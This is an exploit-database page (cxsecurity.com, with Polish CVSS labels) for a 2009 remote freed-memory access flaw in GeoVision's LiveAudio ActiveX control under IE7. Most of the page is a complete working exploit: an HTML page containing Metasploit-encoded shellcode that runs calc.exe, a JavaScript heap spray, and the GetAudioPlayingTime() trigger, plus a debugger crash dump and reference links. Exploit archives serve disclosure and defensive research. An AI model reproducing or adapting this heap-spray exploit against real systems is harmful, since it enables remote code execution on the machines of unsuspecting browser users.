GeoVision LiveAudio ActiveX Control GetAudioPlayingTime() remote freed-memory access

2009.03.28
Credit: trotzkista
Risk: Medium
Local: No
Remote: Yes
CWE: CWE-134


Ogólna skala CVSS: 9.3/10
Znaczenie: 10/10
Łatwość wykorzystania: 8.6/10
Wymagany dostęp: Zdalny
Złożoność ataku: Średnia
Autoryzacja: Nie wymagana
Wpływ na poufność: Pełny
Wpływ na integralność: Pełny
Wpływ na dostępność: Pełny

<!-- 02/03/2009 14.57.46 GeoVision LiveAudio ActiveX Control GetAudioPlayingTime() remote freed-memory access exploit (IE7) by Nine:Situations:Group::trotzkista vendor site: http://www.geovision.com.tw/ our site: http://retrogod.altervista.org/ details: CLSID: {814A3C52-B6F7-4AEA-A9BC-7849B9B0ECA8} Progid: LIVEAUDIO.LiveAudioCtrl.1 Binary Path: C:\WINDOWS\system32\LIVEAU~1.OCX File Version: 7.0 Implements IObjectSafety: False Safe For Initialization (Registry): True Safe For Scripting (Registry): True vulnerability: passing certain objects as parameter of GetAudioPlayingTime() method: .. (298.ed8): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled eax=0174c258 ebx=0174c258 ecx=00020871 edx=00480018 esi=0273f5b4 edi=0000000d eip=43000000 esp=0273f58c ebp=0273f59c iopl=0 nv up ei pl nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00050202 43000000 ?? ??? this executes calc.exe, tested against windows xp sp3 with 256 Mb of ram ... worked all the times --> <html> <object classid='clsid:814A3C52-B6F7-4AEA-A9BC-7849B9B0ECA8' id='x'> </object> <div id='boom'></div> <script> // win32_exec - EXITFUNC=seh CMD=c:\windows\system32\calc.exe Size=378 Encoder=Alpha2 http://metasploit.com shellcode = unescape("%u03eb%ueb59%ue805%ufff8%uffff%u4949%u4949%u4949" + "%u4948%u4949%u4949%u4949%u4949%u4949%u5a51%u436a" + "%u3058%u3142%u4250%u6b41%u4142%u4253%u4232%u3241" + "%u4141%u4130%u5841%u3850%u4242%u4875%u6b69%u4d4c" + "%u6338%u7574%u3350%u6730%u4c70%u734b%u5775%u6e4c" + "%u636b%u454c%u6355%u3348%u5831%u6c6f%u704b%u774f" + "%u6e68%u736b%u716f%u6530%u6a51%u724b%u4e69%u366b" + "%u4e54%u456b%u4a51%u464e%u6b51%u4f70%u4c69%u6e6c" + "%u5964%u7350%u5344%u5837%u7a41%u546a%u334d%u7831" + "%u4842%u7a6b%u7754%u524b%u6674%u3444%u6244%u5955" + "%u6e75%u416b%u364f%u4544%u6a51%u534b%u4c56%u464b" + "%u726c%u4c6b%u534b%u376f%u636c%u6a31%u4e4b%u756b" + "%u6c4c%u544b%u4841%u4d6b%u5159%u514c%u3434%u4a44" + "%u3063%u6f31%u6230%u4e44%u716b%u5450%u4b70%u6b35" + "%u5070%u4678%u6c6c%u634b%u4470%u4c4c%u444b%u3530" + "%u6e4c%u6c4d%u614b%u5578%u6a58%u644b%u4e49%u6b6b" + "%u6c30%u5770%u5770%u4770%u4c70%u704b%u4768%u714c" + "%u444f%u6b71%u3346%u6650%u4f36%u4c79%u6e38%u4f63" + "%u7130%u306b%u4150%u5878%u6c70%u534a%u5134%u334f" + "%u4e58%u3978%u6d6e%u465a%u616e%u4b47%u694f%u6377" + "%u4553%u336a%u726c%u3057%u5069%u626e%u7044%u736f" + "%u4147%u4163%u504c%u4273%u3159%u5063%u6574%u7035" + "%u546d%u6573%u3362%u306c%u4163%u7071%u536c%u6653" + "%u314e%u7475%u7038%u7765%u4370"); bigblock = unescape("%u9090%u9090"); headersize = 20; slackspace = headersize+shellcode.length; while (bigblock.length<slackspace) bigblock+=bigblock; fillblock = bigblock.substring(0, slackspace); block = bigblock.substring(0, bigblock.length-slackspace); while(block.length+slackspace<0x41000) block = block+block+fillblock; memory = new Array(); for (i=0;i<0x800;i++){memory[i] = block+shellcode;if (i < 0x4b0) { memory[i-0x64] = "" }} try{eval('x.GetAudioPlayingTime(boom,boom)')}catch(e){} </script> original url: http://retrogod.altervista.org/9sg_geovision_liveaudio_freedmem.html

Referencje:

http://xforce.iss.net/xforce/xfdb/49238
http://www.securityfocus.com/bid/34115
http://www.securityfocus.com/archive/1/archive/1/501773/100/0/threaded
http://www.milw0rm.com/exploits/8206
http://retrogod.altervista.org/9sg_geovision_liveaudio_freedmem.html


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2024, cxsecurity.com

 

Back to Top